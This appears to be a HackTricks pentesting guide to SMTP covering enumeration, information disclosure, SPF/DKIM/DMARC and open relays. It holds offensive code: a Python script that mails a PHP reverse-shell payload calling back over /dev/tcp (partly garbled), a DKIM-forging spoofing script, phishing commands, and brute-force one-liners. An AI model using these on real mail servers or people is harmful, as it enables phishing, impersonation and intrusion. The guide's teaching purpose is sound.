# 25,465,587 - Pentesting SMTP/s {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Get a hacker's perspective on your web apps, network, and cloud** **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Basic Information** The **Simple Mail Transfer Protocol (SMTP)** is a protocol utilized within the TCP/IP suite for the **sending and receiving of e-mail**. Due to its limitations in queuing messages at the recipient's end, SMTP is often employed alongside either **POP3 or IMAP**. These additional protocols enable users to store messages on a server mailbox and to periodically download them. In practice, it is common for **e-mail programs** to employ **SMTP for sending e-mails**, while utilizing **POP3 or IMAP for receiving** them. On systems based on Unix, **sendmail** stands out as the SMTP server most frequently used for e-mail purposes. The commercial package known as Sendmail encompasses a POP3 server. Furthermore, **Microsoft Exchange** provides an SMTP server and offers the option to include POP3 support. **Default port:** 25,465(ssl),587(ssl) ``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### EMAIL Headers If you have the opportunity to **make the victim send you a email** (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail. You can also get an email from a SMTP server trying to **send to that server an email to a non-existent address** (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages. You should also try to **send different contents because you can find more interesting information** on the headers like: `X-Virus-Scanned: by av.domain.com`\ You should send the EICAR test file.\ Detecting the **AV** may allow you to exploit **known vulnerabilities.** ## Basic actions ### **Banner Grabbing/Basic connection** **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Finding MX servers of an organisation ```bash dig +short mx google.com ``` ### Enumeration ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Information disclosure If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` ### Internal server name - Information disclosure Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Sniffing Check if you sniff some password from the packets to port 25 ### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp) ## Username Bruteforce Enumeration **Authentication is not always needed** ### RCPT TO ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello 18.28.38.48, pleased to meet you MAIL FROM:example@domain.com 250 2.1.0 example@domain.com... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello 18.28.38.48, pleased to meet you VRFY root 250 Super-User root@myhost VRFY blah 550 blah... User unknown ``` ### EXPN ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 ed.williams@myhost EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Automatic tools ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ```
**Get a hacker's perspective on your web apps, network, and cloud** **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## DSN Reports **Delivery Status Notification Reports**: If you send an **email** to an organisation to an **invalid address**, the organisation will notify that the address was invalided sending a **mail back to you**. **Headers** of the returned email will **contain** possible **sensitive information** (like IP address of the mail services that interacted with the reports or anti-virus software info). ## [Commands](smtp-commands.md) ### Sending an Email from linux console ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Sending an Email with Python
Pyhton code here ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 # create message object instance msg = MIMEMultipart() # setup the parameters of the message password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!" # payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("[*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()[0] != 250: print("[-]Connection Error") exit() server.starttls() # Uncomment if log-in with authencation # server.login(msg['From'], password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ```
## SMTP Smuggling SMTP Smuggling vulnerability allowed to bypass all the SMTP protections (check the next section for more info about protections). For more info on SMTP Smuggling check: {% content-ref url="smtp-smuggling.md" %} [smtp-smuggling.md](smtp-smuggling.md) {% endcontent-ref %} ## Mail Spoofing Countermeasures Organizations are prevented from having unauthorized email sent on their behalf by employing **SPF**, **DKIM**, and **DMARC** due to the ease of spoofing SMTP messages. A **complete guide to these countermeasures** is made available at [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF {% hint style="danger" %} SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). This means that instead of creating a **TXT record** in `_spf.domain.com` you create it in `domain.com` using the **same syntax**.\ Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"` {% endhint %} **Sender Policy Framework** (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities **authorized to send email on behalf of a domain name**, includes various "**Mechanisms**" in the SPF record. #### Mechanisms From [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Mechanism | Description | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. | | A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match. | | IP4 | If the sender is in a given IPv4 address range, match. | | IP6 | If the sender is in a given IPv6 address range, match. | | MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers). | | PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible. | | EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries. | | INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used. | | REDIRECT |

A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.

It SPF policy of the domain indicated in the redirect Mechanism will be used.

| It's also possible to identify **Qualifiers** that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\ You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.** #### Qualifiers Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result: * **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`. * **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy). * **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly. * **`-`**: Indicates FAIL, suggesting that the email should be outright rejected. In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Nowadays**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**. To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name. For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. A command to fetch this information might look like: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions. **To obtain the DMARC record, you need to query the subdomain \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC tags | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | | v | Protocol version | v=DMARC1 | | pct | Percentage of messages subjected to filtering | pct=20 | | ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | | rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | | p | Policy for organizational domain | p=quarantine | | sp | Policy for subdomains of the OD | sp=reject | | adkim | Alignment mode for DKIM | adkim=s | | aspf | Alignment mode for SPF | aspf=r | ### **What about Subdomains?** **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ You need to have separate SPF records for each subdomain you wish to send mail from.\ The following was originally posted on openspf.org, which used to be a great resource for this kind of thing. > The Demon Question: What about subdomains? > > If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain. > > So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record. > > Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: \* IN TXT "v=spf1 -all" This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition. ### **Open Relay** When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a **relay server that is trusted by the recipient**. However, a common challenge is that administrators might not be fully aware of which **IP ranges are safe to allow**. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments. A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to **allow connections from any IP address**. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below: ```bash mynetworks = 0.0.0.0/0 ``` For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Tools** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs** ### Send Spoof Email * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **Or you could use a tool:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} If you get any **error using in the dkim python lib** parsing the key feel free to use this following one.\ **NOTE**: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key **cannot be parsed by dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Or you could do it manually:** {% tabs %} {% tab title="PHP" %} 
# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
{% endtab %} {% tab title="Python" %} ```python # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py import os import dkim #pip3 install dkimpy import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase # Set params destination="destination@gmail.com" sender="administrator@victim.com" subject="Test" message_html="""

This is a test, not a scam


""" sender_domain=sender.split("@")[1] # Prepare postfix os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") os.system("systemctl restart postfix") # Generate DKIM keys dkim_private_key_path="dkimprivatekey.pem" os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") with open(dkim_private_key_path) as fh: dkim_private_key = fh.read() # Generate email msg = MIMEMultipart("alternative") msg.attach(MIMEText(message_html, "html")) msg["To"] = destination msg["From"] = sender msg["Subject"] = subject headers = [b"To", b"From", b"Subject"] msg_data = msg.as_bytes() # Sign email with dkim ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) dkim_selector="s1" sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() msg_data = msg.as_bytes() # Use local postfix relay to send email smtp="127.0.0.1" s = smtplib.SMTP(smtp) s.sendmail(sender, [destination], msg_data) ``` {% endtab %} {% endtabs %} ### **More info** **Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) ### **Other phishing indicators** * Domain’s age * Links pointing to IP addresses * Link manipulation techniques * Suspicious (uncommon) attachments * Broken email content * Values used that are different to those of the mail headers * Existence of a valid and trusted SSL certificate * Submission of the page to web content filtering sites ## Exfiltration through SMTP **If you can send data via SMTP** [**read this**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** ## Config file ### Postfix Usually, if installed, in `/etc/postfix/master.cf` contains **scripts to execute** when for example a new mail is receipted by a user. For example the line `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` means that `/etc/postfix/filtering` will be executed if a new mail is received by the user mark. Other config files: ``` sendmail.cf submit.cf ``` ## References * [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) * [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/) ## HackTricks Automatic Commands ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ```
**Get a hacker's perspective on your web apps, network, and cloud** **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}